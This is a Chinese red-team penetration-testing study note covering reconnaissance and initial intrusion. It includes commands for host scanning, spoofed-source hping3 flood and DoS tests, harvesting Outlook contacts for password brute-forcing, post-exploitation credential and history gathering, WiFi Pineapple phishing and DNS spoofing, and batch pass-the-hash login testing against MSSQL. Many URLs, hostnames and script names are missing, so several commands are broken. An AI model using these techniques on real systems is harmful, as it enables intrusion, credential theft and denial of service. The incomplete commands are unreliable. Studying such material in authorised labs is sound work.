**
Notes Twelfth Day-渗透攻击-红队-打入内网(dayu)
**
作者:大余
时间:2020-09-28
请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
我必须再重申一遍:务必不要做未授权测试!不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出于好奇而不是恶意,你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更好的继续学习发展,有很多漏洞奖励计划和靶场可以供你学习试验,但是请记住,即使是参加漏洞奖励计划,私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。
文章目录
- Notes Twelfth Day-渗透攻击-红队-打入内网(dayu)
- 一、信息收集
- 1、主机发现
- nmap
- Masscan
- Nbtscan
- hping3
- 2、关联信息生成
- 字典生成:pydictor
- 3、开放漏洞情报
- 常用网站
- Search Exploit一DB
- 4、开源情报信息搜集(OSINT)
- 搜索引擎语法
- 在线接口
- 相关工具
- 5、Github Hacking
- 搜索代码
- 搜索案例
- 自动化工具
- 6、google hacking
- 7、Git-all-secret
- 8、mailsniper.ps1获取outlook所有联系人
- 9、内网渗透之信息收集
- Windows(工作者和域)
- Windows(域)
- Linux
- 10、后渗透信息收集之wmic命令的一些使用方法
- wmic的简单使用
- 以进行为例展现wmic的使用
- 关于powershell的Get-Wmi对象
- 11、内网横向常见端口
- Port. 445
- Port:137、138、139
- 二、打入内网
- 1、外部接入点-WiFi
- 2.1.1 无线攻击实战应用之 DNSSpoof、Evil Portal、DWall
- 2.1.2 防护意见
- 2、应用系统漏洞利用
- 2.2.1 常见漏洞扫描
- 2.2.1.1 Nmap扫描漏洞技巧
- 2.2.1.2 impacket框架之mssql服务器安全检测
- 2.2.1.3 MS17010py脚本利用
- 2.2.2 未授权访问漏洞
- 2.2.2.1未授权漏洞总结
- Redis
- Jenkins
- Mongodb
- ZooKeeper
- Elasticsearch
- Memcache
- Hadoop
- Couchdb
- Ldap
- 2.2.2.2 JBOSS未授权访问
- 2.2.3 远程代码执行漏洞
- 2.2.3.1 Java下奇怪的命令执行
- 2.2.3.2 Shiro反序列化记录
- 2.2.3.3 RMI-反序列化
- 2.2.3.4 JNDI注入
- 2.2.3.5 fastjson漏洞浅析
- 2.2.3.6 CVE-2019-11043 PHP远程代码执行复现
- 2.2.3.7 java webshell从入门到入狱系列1-基础篇
- 2.2.3.8 深究XMLdecoder (dayu-Third day)
- 2.2.3.9 FastJson 反序列化学习
- 2.2.3.10 Oracle 数据库安全思考之xml反序列化
- 2.2.3.11 Webshell绕安全模式执行命令
- 2.2.3.12 Java 下的XEE漏洞
- 2.2.3.13 Solr Velocity模板远程代码复现及利用指南
- 2.2.3.14 Solr-RCE-via-Velocity-template
- 2.2.3.15 java webshell 从入门到入狱系列2-攻防对抗之Bypass-上篇
- 2.2.3.16 java webshell 从入门到入狱系列3-攻防对抗之Bypass-中篇
- 2.2.3.17 java webshell 从入门到入狱系列4-攻防对抗之Bypass-下篇
- 2.2.3.18 Java反序列化过程深究(dayu-fourth day)
- 2.2.3.19 Apache Slor不安全配置远程代码执行漏洞复现及jmx rmi利用分析
- 2.2.3.20 java命令执行小细节
- 2.2.3.21 JDK反序列化Gadgets-7u21
- 2.2.3.22 Weblogic-T3-CVE-2019-2890-Analysis
- 2.2.3.23 spring-boot-actuators未授权漏洞
- 2.2.3.24 SEMCMS2.6后台文件上传漏洞审计
- 2.2.3.25 代码审计之lvyecms后台getshell
- 2.2.3.26 Log4j-Unserialize-Analysis
- 2.2.3.27 JAVA反序列化- FastJson组件
- 2.2.3.28 Spring-securiy-oauth2 (CVE-2018-1260)
- 2.2.4 WAF-bypass(dayu-Fifth day)
- 找真实IP,绕过CDN
- https降级绕过
- ssl问题绕过
- method 绕过
- Heard IP 绕过
- XSS
- SQL
- Mysql
- 命令执行
- 文件上传绕过
- 解析漏洞
- PHP CGI 解析漏洞
- 系统特性:利用NTFS ADS特性
- 协议解析不一致,绕过waf(注入跨站也可尝试)
- 文件类型绕过/Header 头类型
- 未解析所有文件
- 不规则Content-Disposition文件名覆盖
- boundary 绕过
- 文件名覆盖绕过
- 遗漏文件名
- 其他类型绕过
- HPP HTTP参数污染/拼接绕过
- HPF HTTP分割注绕过
- 最后另类绕过合集
- 2.2.5 登录口JS前端加密绕过
- jsEncrypter安装与本地测试 (dayu-Sixth day)
- 2.2.6 XMLDecoder 标签、POC
- 2.2.7 phpMyAdmin去getshell
- 2.2.8 攻击JWT的一些方法
- 2.2.9 上传漏洞
- 上传技巧
- 上传的思路
- KindEditor
- 2.2.9.1 上传漏洞总结
- 概要说明
- 服务端的上传验证
- 上传绕过姿势
- 文件扩展名绕过(asp、aspx、php、jsp)
- Content-Disposition、content-type、文件内容检测、双文件
- 客户端检测(JavaScript检测)(dayu-Seventh day)
- WAF绕过(阿里云、安全狗、百度云、云锁)
- 实战分析
- upload-labs过关
- 造洞
- 2.2.10 注入漏洞
- MSSQL注入
- MYSQL注入
- 盲注
- Sqlmap
- 2.2.10.1 MSSQL利用总结(dayu-Eighth day)
- 命令执行
- 注册表
- 持久化
- 文件操作
- 信息获取
- 2.2.10.2 攻击MSSQL--PowerUpSQL 介绍
- 发现MSSQL实例
- 获取MSSQL信息
- 测试口令
- 持久性
- 获取域信息
- 防御方案
- 2.2.10.3 如何利用Mysql安全特性发现漏洞
- Mysql权限
- load_file函数用法
- Mysql版本差异
- 成功利用实例
- 脑洞大开
- 2.2.10.4 Hibernate基本注入
- 2.2.10.5 mysql 利用general_log_file、slow_query_log_file写文件
- 2.2.10.6 SQL Server注入 Getshell 有趣案例
- 2.2.11 文件读取漏洞
- 2.2.12 Pentesterlab Xss
- 2.2.13 Office宏的基本利用
- 2.2.14 Java-security-calendar-2019-Candy-Cane
- 2.2.15 Discuz Ssrf Rce漏洞分析报告
- 2.2.16 WordPress语言文件代码执行漏洞分析
- 2.2.17 Struts2远程命令执行s2-048漏洞分析报告
- 2.2.18 静态免杀php一句话(已过D盾,河马,安全狗)
- 2.2.19 金融信息系统安全测评方法(不公布!)
- 2.2.20 Apache-Poi-XXE-Analysis
- CVE-2014-3529
- CVE-2019-12415
- 2.2.20 记一次阿里主站xss测试及绕过waf防护
- 2.2.21 ClassLoader类加载机制
- 2.2.22 浅谈SSRF原理及其利用(dayu-Ninth Day)
- 2.2.23 Spring-Data-Commons (CVE-2018-1273)
- 2.2.24 xss绕过代码后端长度限制的方法
- 2.2.25 mysql提权之mof
- 2.2.26 mysql提权之udf
- 2.2.27 XSS 基础学习
- 2.2.28 java 反射与内存shell 初探-基于jetty容器的shell 维权
- 2.2.29 利用 DNSLOG回显(dayu-Tenth
- 2.2.30 文件合成/图片马生成
- 2.2.31UDF提权
- 2.3 社会工程学
- 2.3.1 水坑攻击
- 2.3.2 鱼叉攻击
- 2.3.2.1 Swaks-邮件伪造
- 2.3.2.2 邮件伪造防御技术
- SPF
- DKIM
- DMARC
- 2.3.3 钓鱼攻击
- 2.3.3.1 视觉效果
- 2.3.3.2 凭证劫持
- 2.3.3.4 克隆技术
- 2.3.3.5 Word文档-云宏代码钓鱼
- 2.4 APP密码算法通用分析方法
- 密码算法介绍
- 分析原理
- 2.5 Linux下反弹she命令
- 2.6 Browser Pivot for Chrome
- 三、命令与控制(dayu-Eleventh Day)
- 3.1 HTTP 隧道 ABPTTS
- 3.2 HTTP 隧道 reGeorg
- 3.3 HTTP 隧道 Tunna
- 3.4 HTTP 隧道 reDun
- 3.5 基于 Ptunnel 建立ICMP隧道
- 3.6 使用anydesk做远控
- 3.7 Kerberos域内委派攻击(重要了解)
- 3.8 ATT&CK攻防初窥系列-执行篇
- 3.9 Powershell(dayu-Twelfth Day)
- 3.9.1 利用360正则不严执行 powershell上线
- 3.9.2 关于 Powershell抗安全软件
- 3.9.3 Invoke-Obfuscation介绍
- 四、穿透与转发
- 4.1 Frp内网穿透实战
- 4.2 基于ported端口转发
- 4.3 Venom-代理转发、多级穿透
- 4.4 DNS隧道
- 4.4.1 dns隧道之dns2tcp
一、信息收集
1、主机发现
nmap
官网: /
安装系统及命令:
Mac os: brew install nmap
Centos: yum install nmap
Ubuntu: apt一get install nmap
参考手册: /man/zh/
扫描方式
常见的七种扫描方式:
ТСР: -sT
SYN: -sS
ACK: -sA
UDP: -sU
RPC: -sR
ICMP: -sP
Disable Port Scan: -sn
最常见的这些参数解释:/liudongdong19/article/details/83506731
常见扫描案例
扫描10000端口、操作系统、版本
nmap -T4 -A <target>
版本探测
nmap -sV <target>
操作系统
nmap -O <target>
其他常用技巧:
--host-timeout 主机超时时间 通常选值:18000
--scan-delay 报文时间间隔 通常选值:1000
-s <源地址> 定义扫描源地址,为了不被发现
示例
nmap -V -iR 100000 -PO -p 80
随机选择100000台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间,而且只需探测主机的一个端口,因此使用-PO禁止对主机列表。
host -l | cut -d -f 4 | nmap -V -iL -
进行DNS区域传输,以发现中的主机,然后将IP地址提供给Nmap。上述命令用于GNU/Linux —— 其它系统进行区域传输时有不同的命令。
输出
-oN <File>
-oX <XML File>
-oG <filespec>
参考:/nmap-oG-output/
Masscan
项目地址: https://github .com/robertdavidgraham/masscan
安装:
$ sudo apt-get install git gcc make libpcap一dev
$ git clone https://github. com/ rober tdavidgr aham/ masscan
$ cd masscan
$ make
该工具兼容Nmap的参数高级选项
高级选项
命令:sudo masscan --ports 1-10000 192.168.1.4 --adapter-ip 192.168.175.128
-adapter-ip 指定发包的IP地址
-adapter-port 指定发包的源端口
-adapter-mac 指定发包的源MAC地址
-router-mac 指定网关的MAC地址
-exclude IP地址范围黑名单,防止masscan扫描
-excludefile 指定IP地址范围黑名单文件
-includefile,-iL 读取一个范围列表进行扫描
-wait 指定发送完包之后的等待时间,默认为10秒
命令:masscan -e eth0 -p 1-65535 --rate 1000 192.168.1.4
在网络环境慢的情况下,快速扫描出存在端口与nmap配合
Nbtscan
kali系统自带nbtscan,以及查看帮助说明
nbtscan扫描可以发现主机名、MAC addr等信息…
nbtscan -r 192.168.1.0/24
扫描整个C段
nbtscan 192.168.1.1-100
扫描一个范围
nbtscan -v -s : 192.168.1.0/24
以:分割显示结果
nbtscan -f <File>
从文件读取扫描范围
高级用法
nbtscan -v -s ' ' 192.168.1.4
nbtscan -v -s ' ' 192.168.1.4 | awk '{print $1}' | uniq
hping3
hping3主要测试防火墙的拦截规则,对网络设备进行测试
常用模式
常用模式
-0 -rawip IP原始报文
-1 -icmp ICMP模式
-2 -udp UDP模式
-8 -scan 扫描模式
-9 -listen 监听模式
hping3 --scan 1-30,70-90 -S
SYN方式扫描主机端口
sudo hping3 --scan 445,135 -S 192.168.1.4
可以看到,目标主机回复了: S…A,代表SYN/ACK
hping3 -S -a 114.114.114.114 -p 53 114.114.114.114 -c 5
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)
DRDDOS
hping3 -udp -a 114.114.114.114 -p 53 114.114.114.114 -c 5
基于UDP的DOS
参考
/articles/hping3_ --很详细用法的解释
/hping3
2、关联信息生成
在渗透前期工作开展之前,需要对目标的各种信息进行分析、拆分、组合
例如:赫尔巴斯亚基国
根据地域习惯、宗教、互联网开放信息等信息进行简要拆分,假设获取的信息如下:
当地人爱好吃橙子
当地人信奉*
IPV4地址开放IP段
相关社交网络公 开的数据库
根据宗教、习惯、IP地址、 开放数据支持…等,为后续的字典生成、鱼叉、水坑攻击铺下基石
字典生成:pydictor
安装:
git clone /LandGrey/pydictor
生成字典
命令:python --sedb
常见的命令:
python --sedb
set cname liwei
set sname lw Lwei
set ename zwell
set birth 19880916
set usedpwd liwei123456. liwei@19880916 lw19880916_123
set phone 18852006666
set uphone 15500998080
set hphone 76500100 61599000 01061599000
set email 33125500@
set email 13561207878@
set email weiweili@
set email wei010wei@
set postcode 663321 962210
set nickname zlili
set idcard 152726198809160571
set jobnum 20051230 100563
set otherdate 19591004 19621012
set otherdate 19870906 19880208
set usedchar tiger gof gamesthrones 176003 m0n5ter ppdog
常用的组合命令:
合并去重
python -tool uniqbiner /my/all/dict/
多字典文件组合工具
python -tool hybrider some_others.txt
参考详细:/LandGrey/pydictor/blob/master/docs/doc/
3、开放漏洞情报
常用网站
CVE:/
Exploit-DB:/
CX Security:/
CNVD:/
securitytracker:/
**
Search Exploit一DB
**
利用searchsploit apache 5.3.12搜索apache漏洞…这很熟悉了…
命令:searchsploit -u
更新最新exp库…
4、开源情报信息搜集(OSINT)
搜索引擎语法
百度:
谷歌:
必应:
在线接口
/index/getrelatedsites?site_address=
/
/ --在线子域名查询-接口光速版
/certificates?q=.
/?q=%
/c0ny1/workscripts/tree/master/get-subdomain-from-baidu
/ --查询DNS记录、侦查、研究
/searchApi/v2/domain/report/?domain= --和第一个一样
/
/search?g= --DNSlyrics
/information-gathering/find-subdomains-of-domain --DNS攻击面2次免费
/ --功能很多
/#/lookup/114.114.114.114 --邻居发现
/list/apex_domain/
/
/hostsearch/?q=
/ --云悉(限制挺大)
有几个挺好用的,自行挖掘…
相关工具
/rshipp/awesome-malware-analysis/blob/master/恶意软件分析大合集.md
此网站极力推荐学习!!!
5、Github Hacking
您可以在所有公共GitHub存储库中搜索以下类型的信息,以及您有权访问的所有私有Github存储库
Repositories
Topics
Issues and pull requests
Code
Commits
Users
Wikis
参考 :
Searching for repositories
Searching topics
Searching code
Searching commits
Searching issues and pull requests
Searching users
Searching wikis
Searching in forks
可以使用以上方式搜索页面或高级搜索页面搜索Github
您可以使用>,>=,<,和<搜索是大于,大于或等于,小于和小于或等于另一个值的值
下面会介绍如何搜索
搜索仓库
>_n cats stars:>1000匹配关键字"cats"且star大于1000的仓库
>=_n_ cats topIcs:>=5匹配关键字"cats"且标签数量大于等于5的仓库
<_n_ cats size:<10000匹配关键字"cats"且文件小于10KB的仓库
<=_n_ cats stars:<=50匹配关键字"cats"且star小于等于50的仓库
_n_..* cats stars:10..*匹配关键字"cats"且star大于等于10的仓库
*.._n_ cats stars:*..10匹配关键字"cats"且star小于等于10的仓库
n..n cats stars:10..50匹配关键字"cats"且star大于10且小于50的仓库
搜索代码
注意事项
只能搜索小于384KB的文件
只能搜索少于500,000个文件的存储库,登录的用户可以搜索所有公共存储库
除filename搜索外,搜索源代码时必须至少包含一个搜索词。例如,搜索language: Javascript无效,而是这样: amazing language:Javascript
搜索结果最多可以显示来自同一文件的两个片段,但文件中可能会有更多结果。您不能将以下通配符用作搜索查询的一部分“.、! " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] 搜索将忽略这些符号
日期条件
cats pushed:<2012-07-05 搜索在2012年07月05日前push代码,且cats作为关键字
cats pushed:2016-04-30..2016-07-04 日期区间
cats created:>=2017-04-01 创建时间
逻辑运算
AND、OR、NOT
排除运算
cats pushed:<2012-07-05 language:java 搜索在2012年07月05日前push代码,且cats作为关键字,排除java语言仓库
包含搜索
cats in:file 搜索文件中包含cats的代码
cats in:path 搜索路径中包含cats的代码
cats in:path,file 搜索路径、文件中包含cats的代码
console path:app/public language:javascript 搜索关键字 console,且语言为javascript,在app/public下的代码
主体搜索
user: USERNAME 用户名搜索
org: ''ORGNAME 组织搜索
repo: USERNAME/REPOSITORY 指定仓库搜索
文件大小
size:>1000 搜索大小大于1KB的文件
搜索案例
filename: language:php 搜索文件名为 ,且语言为php的代码
搜索Java项目配置文件: mail filename:.properties
搜索extension:yaml 中存在的代码信息等
自动化工具
/unkl4b/gitmIner
example使用即可,非常好用
/techgaun/github-dorks 详细介绍github hacking 搜索利用代码以及方法!!
6、google hacking
用法
Intitle 包含标题
Intext 包含内容
filetype 文件类型
Info 基本信息
site 指定网站
inurl 包含某个url
link 包含指定链接的网页
cache 显示页面的缓存版本
numberange 搜索一个数字
示例
搜索目标包含后台的页面
命令:inurl:/admin intext: 后台管理系统
site:""intitle: login intext: intext: 管理|后台|登陆|用户名|密码|验证码|系统|帐号| manage|admin|login|system
搜索目标是否有目录列表
可看到存在目录列表很多url
命令:intext: index of / | ../ | Parent Directory
site:"" intext: index of / | ../ | Parent Directory
7、Git-all-secret
特性
可以添加自己的正则表达式,在 docker run的时候使用-V
(pwd)/ rules. json; /root/truffleHog/rules. json。可以使用默认正则表达式,如果需要,也可以用truffleHog提供的高熵字符串。可以通过repo- supervisor工具搜索s和json中的高熵字符串。可以搜索用户的Gist,大多数工具都没这个功能。有新工具可以很容易地集成到 git-all-secrets。支持扫描企业 Github orgs/ users/repos/ gists。大多数工具只扫描单个仓库,gtal- secrets可以一次扫描多个…
需要在docker环境下安装,我跳过了这个,以后有精力查看!
8、mailsniper.ps1获取outlook所有联系人
条件
掌握其中一个用户邮箱的账号密码,并且可以登录outlook
outlook地址可以是官方的也可以是目标自己搭建的,并无影响
目的
获取目标邮箱里的所有联系人,方便后续爆破弱口令等等
利用
将尝试 Outlook Web Access(OWA)和Exchange Web服务(EWS)的方法。此命令可用于从Exchange收集电子邮件列表 :
Get-GlobalAddressList -ExchHostname "outlook地址” -UserName “域名/域用户名” -Password “密码” -OutFile
可以自己搭建目标outlook在自己服务器上
此处使用kion的域环境模拟
在mailsniper. ps1最后一行加入以下代码,也可以通过传参的形式调用
Get-GlobalAddressList -ExchHostname -UserName domain\username -Password Fall2016 -OutFile
尝试使用我们传递的账号密码去登录目标的outlook,成功登录后会把邮件里的联系人都获取下来,并输出保存到文件里
如果outlook在Office365上道理也是一样的,把ExchHostname指向outlook.即可,username使用完整的邮箱不要是用户名即可
Get-GlobalAddressList -ExchHostname outlook. -Username 用户名@邮箱.....
参考链接
/abusing-exchange-mailbox-permissions-mailsniper/
/backlion/p/
工具地址
/dafthack/mailsniper
9、内网渗透之信息收集
Windows(工作者和域)
检查当前shell权限
whoami /user & whoami /priv
查看系统信息
systeminfo
收集信息主机名->扮演角色
Tcp/udp 网络连接状态信息
netstat -ano
可以获取内网IP分布状态-服务(redis)
查看机器名
hostname
查看当前操作系统
wmic OS get Caption,CSDVersion,OSArchitecture,Version
ver
查杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
查看当前安装的程序
wmic product get name,version
查看在线用户
quser windwos7命令
net config workstation windwos10命令/查看当前域
查看网络配置
ipconfig /all
有 Primary Dns Suff就说明是域内空的则当前机器应该在工作组
查看进程
tasklist /v
有些进程可能是域用户启的->通过管理员权限凭证窃取->窃取域用户的凭证
查看当前登陆域
net config workstation
远程桌面链接历史记录
cmdkey /l
可以把凭证取下来->本地密码
查看本机上的用户账户列表
net user
查看本机用户xxx的信息
net user xxx
查看本机用户xxx的信息
net user /domain 显示所在域的用户名单
net user 域用户 /domain 获取某个域用户的详细信息
net user /domain xxx 12345678 修改域用户密码,需要域管理员权限
Windows(域)
nltest /domain_trusts /all_trusts /v /server: 192. 返回所有信任域列表
nltest /dsgetdc:hack /server:192. 返回域控和其相应的IP地
net user /do 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "domain computers" /domain 查看域机器
net group /domain 查询域里面的工作组
net localgroup administrators 本机管理员[通常含有域用户]
net localgroup administrators /domain 登录本机的域管理员
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net view 查看同一域内机器列表
net view \\ip 查看某IP共享
net view \\GHQ 查看GHQ计算机的共享资源列表
net view /domain 查看内网存在多少个域
net view /domain:XYZ 查看XYZ域中的机器列表
net accounts /domain 查询域用户密码过期等信息
Linux
查看当前权限
whoami
查看网卡配置
ifconfig
查看端口状态(开启了哪些服务,内网IP连接等
netstat -anpt
查看进程状态(开启了哪些服务等)
ps -ef
查看管理员的历史输入命令(获取密码,网站目录,内网资产等信息)
cat /root/.bash_history
查找某个文件(寻找配置文件等)
find / -name *.cfg
10、后渗透信息收集之wmic命令的一些使用方法
前言
wmic和cmd一样在所有的windows版本中都存在,同时wmic有很多cmd下不方便使用的部分,今天给大家介绍一些在后渗透过程中非常适用的使用wmic进行信息收集的命令
关于wmic
WMI命令行(WMIC)实用程序为WMI提供了命令行界面。WMIC与现有的Shell和实用程序命令兼容。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的,WMIC改变了这种情况
wmic的简单使用
首先在cmd命令行输入wmic进入交互式页面,这里说一下在powershell也可以和cmd命令行一样的操作
进入wmic和powershell模式下
/? 查看WMIC命令的全局选项以及命令属性等
process /? 进程管理的帮助
wmic process get /? 属性获取操作帮助
根据实际的需要去对相关的信息进行读取
以进行为例展现wmic的使用
这里的靶机是win7 x86的虚拟机,这里以查看进程为例:
wmic process get caption,executablepath,processid
获取系统当前正在运行的进程等信息
wmic service where (state="running") get name ,processid ,pathname ,startmode ,caption
查看服务进程详细信息
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
查看安装的杀软进程运行情况
wmic onboarddevice get Description, DeviceType, Enabled, Status /format:list
查看存在状态
wmic product get name
系统安装软件情况
wmic environment get Description, VariableValue
系统环境变量
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
关于更多的信息可以通过官方的说明文档
/en-us/windows-server/administration/windows-commands/wmic
关于powershell的Get-Wmi对象
Get-Wmi是获取Windows Management Instrumentation(WMI)类的实例或有关可用类的信息。我们需要首先知道自己的 windows计算机支持那些可用的WMI类
Get-Wmiobject -list 自己的windows计算机支持那些可用的WMI类
get-wmiobject
get-wmiobject -class win32_process
在本地计算机上获取进程
具体的参数以及命令在官方文档中进行查询:
/zh-cn/powershell/module//Get-WmiObject?view=#parameters
很棒的powershell官方命令
11、内网横向常见端口
Port. 445
SMB( Server Message Block) Windows协议族,主要功能为文件打印共享服务,简单来讲就是共享文件夹
该端口也是近年来内网横向扩展中比较火的端口,大名鼎鼎的永恒之蓝漏洞就是利用该端口,操作为扫描其是否存在MS17-010漏洞。正常情况下,其命令主要是建立IPC服务中
空会话
net use \\192.168.
远程本地认证
net use \\192.168.1.2 /user:a\username password
注:a/username 中 a 为工作组情况下的机器命名,可以为任意字符,例如workgroup/username
域 远程认证
net use \\192.168.1.2 /user:test\username password
Port:137、138、139
NetBios端口,137、138为UDP端口,主要用于内网传输文件,而NetBios/SMB服务的获取主要是通过139端口
Port: 135
该端口主要使用DCOM和RPC(Remote Procedure Call)服务,我们利用这个端口主要做WMI(Windows Management Instrumentation)管理工具的远程操作
使用时需要开启wmic服务
几乎所有的命令都是管理员权限
如果出现 "Invalid Globa| Switch",需要使用双引号把该加的地方都加上
远程系统的本地安全策略的“网络访问:本地帐户的共享和安全模式"应设为“经典-本地用户以自己的身份验证"
防火墙最好是关闭状态
该端口还可以验证是否开启 Exchange Servert
Port: 53
该端口为DNS服务端口,只要提供域名解析服务使用,该端口在渗透过程中可以寻找一下DNS域传送漏洞,在内网中可以使用DNS协议进行通信传输,隐蔽性更加好
参考文章 :
dns隧道之dns2tcp
/gsls200808/article/details/50318947
/deng_xj/article/details/88834124
dns隧道之unseat2
/bonelee/p/
/ddr12231/article/details/102306989
Port: 389
用于LADP(轻量级目录访问协议),属于TCP/IP协议,在域过程中一般出现在域控上出现该端口,进行权限认证服务,如果拥有对该域的用户,且担心net或者其他爆破方法不可行的情况,可以尝试使用LADP端口进行爆破
工具可以使用类似于hydra等开源项目
Port: 88
该端口主要开启Kerberos服务,属于TCP/IP协议,主要任务是监听KDC的票据请求,该协议在渗透过程中可以进行黄金票据和白银票据的伪造,以横向扩展某些服务
Port: 5985
该端口主要介绍WinRM服务,WinRM是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。并且WinRM服务自Windows Vista开始成为Windows的默认组件
条件:
Windows Vista上必须手动启动,而Windows Server 2008 中服务是默认开启的
服务在后台开启,但是端口还没有开启监听,所以需要开启端口
使用 winrm quickconfig 对winRM进行配置,开启HTTP和HTTPSS监听,且需要开启防火墙
二、打入内网
1、外部接入点-WiFi
2.1.1 无线攻击实战应用之 DNSSpoof、Evil Portal、DWall
组合拳入侵(配合)
前言:主要向大家介绍 WiFi Pineapple(以下简称“菠萝”)设备的基本使用方法,以及通过菠萝中的几个模块达到中间人攻击,网站钓鱼和获得shell。文章中主要使用到DWall、Evil Portal与DNSMasq Spoofv三个模块
Pineapple开启与网络桥接将菠萝的按钮由off划到wifi标志,稍等片刻便会向周围发射两个无线信号。一个无线信号是菠萝的管理ap,一个是给受害者使用的开放ap。这两个ap的ssid以及管理ap的密码均可以在菠萝的web管理界面中设置
:8080/WiFiPineapple-%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C-V1.
https://shop./products/wifi-pineapple
参考该资料以及购买菠萝设备连接!
简单总结一下利用模块解释:
Evil Portal
可以利用Evil Portal模块获取TP-LINK管理员密码,它的作用是可以使接入用户在访问任意网站时都跳转到我们事先设置好的 Landing page中。 Landing Page是设置菠萝网关的页面,此处我们重定向到公网上一台配置好钓鱼网站的vps上,也可给菠萝添加一张sd卡,直接将钓鱼网站文件放置到菠萝中
Dwall
使用DWall进行中间人攻击DWall中文名称叫"绵羊墙",是菠萝中的一个默认安装模块,它可以嗅探已连接客户端的所有HTTP请求,如URLS、Cookies、Post Data,以及实时地显示出客户端正在浏览的图片等
DNSSpoof
此处使用到菠萝中的 DNSMasq spoc模块。它的作用是dns劫持,获取到受害客户端的域名解析控制权。我们可以在hosts中设置想要进行欺骗的域名,当用户输入该域名后,模块会欺骗用户将域名解析成设置好的IP,此处我们设置跳转到菠萝网关上
DNSSpoof模块可以尝试获取shell,可以尝试使受害者重定向到一台公网上的vps来下载木马文件,诱导受害者点击。木马文件可精心构造,比如具有欺骗性的文件名,免杀木马等。
DNS欺骗原理
DNS服务器工作原理是,存储IP地址到DNS名称映射的记录(称为资源记录)数据库,联系这些资源记录与客户端,并将这些资源记录与其他DNS服务器联系。而客户端对于每个通过互联网发送的DNS请求都包含一个独特的识别码,其目的在于辨识查询和响应,并将对应的查询和响应配对在起。这就意味着,如果我们可以拦截客户端发送的DNS请求包,做一个包含该识别码的假数据包,这样目标计算机就会根据识别码认为这个假数据包就是其需要的结果,从而接受我们发送的包。这里尝试使用nslookup查看域名解析情况,用tracert命令跟踪:无修改,dns欺骗,配置静态dns,三种情况下访问测试域名的路由情况
2.1.2 防护意见
配置静态可靠的dns
将访问的重要域名与P地址进行绑定
提高安全意识,不轻易连接不可信的、开放的无线热点
2、应用系统漏洞利用
2.2.1 常见漏洞扫描
2.2.1.1 Nmap扫描漏洞技巧
auth 处理身份验证
broadcast 网络广播
brute 暴力猜解
default 默认
discovery 服务发现
dos 拒绝服务
exploit 漏洞利用
external 外部扩展
fuzzer 模糊测试
intrusive 扫描可能造成不良后果
malware 检测后门
safe 扫描危害较小
version 版本识别
vuln 漏洞检测
通用参数 -vuln
nmap --script=vuln 192.168.175.138
这儿是我自己搭建的win7虚机扫描的结果,存在两个高危可利用漏洞情况
MS17-010
map --script=smb-vuln-ms17-010 192.168.175.138
2.2.1.2 impacket框架之mssql服务器安全检测
在实际渗透测试工作中经常会遇到检测项目中mssq服务器安全性,此篇文章介绍 impack框架中 mssqlclient的使用方法。
mssqlclient与其他工具相比的优势
跨平台,python脚本编写,并且已有exe版本
命令行执行,速度快
支持使用 socks代理传输数据
支持以hash传递的方式进行账号验证
支持 windows认证模式进行mssq服务的安全检测
执行sq命令可以是交互式,也可以直接回显sq命令执行结果
win和linux环境下使用
1)在windows环境下使用windows认证模式,mssqlclient测试登陆sqlserver服务器,账号验证通过后会直接返回 sql shell
dayu/sqladmin@192.168.3.73 -windows-auth
2)通过 socks代理,在linux环境下使用 windows认证模式,mssqlclient测试登陆 sqlserver服务器,账号验证通过后会直接返回 sql shell
proxychains python dayu/sqladmin@192. -windows-auth
3)通过 socks代理,以mssql账号验证方式测试登陆mssql服务器,账号验证成功后执行mssql. txt内的sql命令
proxychains python ./sa:admin@192. -file
4)通过 socks代理,在linux环境下使用 windows认证模式,mssqlclient测试登录sqlserver服务器,账号验证成功后执行 内的sql命令
proxychains python -p 1433 dayu/sqladmin:123456@192. -windows-auth -file
5)在windows环境下使用windows认证模式,使用ntlm hash验证方式,mssqlclient测试登陆sqlserver服务器,账号验证成功后执行内的sql命令
-p 1433 -hashes :"hash值" dayu/sqladmin@192. -file -windows-auth
同样也可以用于webshell环境下
批量检测
除此之外,还可以批量检测内网 SQL server服务器的账号安全性
需要准备的文件有:
(必须)
(必须)
以下四个文件需选其一:
(需验证的 ntlm hash字符串列表)
(需验证的 username列表)
(需验证的密码字符串列表)
(需验证的p字符串列表)
举例以下几种批量检测的bat脚本内容
1)测试以 windows认证模式,使用hash传递验证,使用 mssqlclient批量测试登陆 sqlserver服务器, 内容为待检测sqlserver服务ip,每行一条
FOR /F %%i in () do -p 1433 -hashes :hash值 ......
2)测试以 windows认证模式,使用hash传递验证,指定主机 ntlm hash遍历验证,为待检测已知 ntlm hash内容,每行一条
FOR /F %%i in () do -p 1433 -hashes %%i domain/adminis.......
3)测试以 sqlserver认证模式,指定待检测主机,遍历验证 内密码有效性,为已知密码内容,每行一条,验证成功后执行 内sql命令
FOR /F %%i in () do -p 1433 ./sa:%%i@192. ....
4)测试以 sqlserver认证模式,指定待检测密码,遍历验证内所有服务器,为待检测sqlserver服务器,每行一条,验证成功后执行 command. txt内sql命令
